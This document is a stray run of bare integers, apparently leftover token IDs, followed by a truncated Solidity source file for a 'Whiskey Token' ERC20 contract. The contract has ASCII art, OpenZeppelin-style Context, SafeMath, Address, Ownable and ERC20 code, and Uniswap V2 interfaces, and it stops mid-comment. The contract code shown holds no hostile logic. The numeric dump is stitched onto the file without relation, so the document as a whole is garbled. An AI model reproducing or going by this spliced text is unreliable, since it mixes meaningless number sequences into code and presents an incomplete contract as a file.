3778,
389,
2436,
90,
758,
917,
1282,
16,
203,
3639,
2254,
5034,
8526,
3778,
389,
17048,
7441,
16,
203,
3639,
1758,
389,
280,
16066,
16,
203,
3639,
2254,
5034,
389,
8760,
16,
203,
3639,
2254,
5034,
389,
267,
2998,
688,
203,
565,
262,
203,
3639,
28544,
1957,
24899,
3644,
16,
389,
280,
16066,
13,
203,
3639,
453,
22007,
26738,
24899,
2436,
90,
758,
917,
1282,
16,
389,
17048,
7441,
13,
203,
3639,
23925,
24899,
8760,
13,
203,
683,
9454,
18035,
560,
273,
20,
18,
27,
18,
26,
31,
203,
565,
288,
203,
3639,
316,
2998,
688,
6275,
273,
389,
267,
2998,
688,
31,
203,
203,
3639,
389,
2738,
19336,
5621,
203,
565,
289,
203,
203,
565,
445,
444,
1892,
12,
11890,
5034,
389,
4106,
13,
3903,
3849,
1338,
43,
1643,
29561,
288,
203,
3639,
2583,
12,
203,
5411,
389,
4106,
411,
25859,
67,
6997,
1258,
19545,
4107,
16,
203,
5411,
315,
9807,
310,
9423,
30,
3525,
14399,
578,
2
] |
/**
*Submitted for verification at Etherscan.io on 2022-02-23
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
Whiskey Token - Let's have a drink!
██▓▓▓▓░░
██▓▓▓▓░░
██▓▓▓▓░░
██▓▓▓▓░░
██▓▓▓▓░░
██▓▓▓▓░░
██▓▓▓▓░░
▓▓░░░░▒▒
▓▓░░░░▒▒
▒▒░░░░▒▒
▓▓▒▒▒▒▒▒▒▒▒▒
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒
▒▒▒▒░░░░░░░░░░░░░░░░
▒▒▒▒░░░░░░░░░░░░░░░░
██▓▓▒▒▓▓▓▓▓▓▓▓▒▒▓▓░░
██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░
██▓▓▓▓ ▓▓▓▓░░
██▓▓ ▓▓▓▓▓▓▓▓ ▓▓░░
██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░
██▓▓▓▓ ▓▓▓▓░░
██▓▓▓▓ ▓▓▓▓░░
██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░
██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░
██▓▓ ▓▓░░
██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░
██▓▓ ▓▓░░
██▓▓██▓▓▓▓▓▓▓▓▓▓▓▓░░
██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░
▒▒░░░░░░░░░░░░░░░░░░
▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░
_
| |
___| |__ ___ ___ _ __ ___
/ __| '_ \ / _ \/ _ \ '__/ __|
| (__| | | | __/ __/ | \__ \
\___|_| |_|\___|\___|_| |___/
*/
// source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Context.sol
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/Proxy.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "[whiskey token][ownable] caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "[whiskey token][ownable] new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
abstract contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
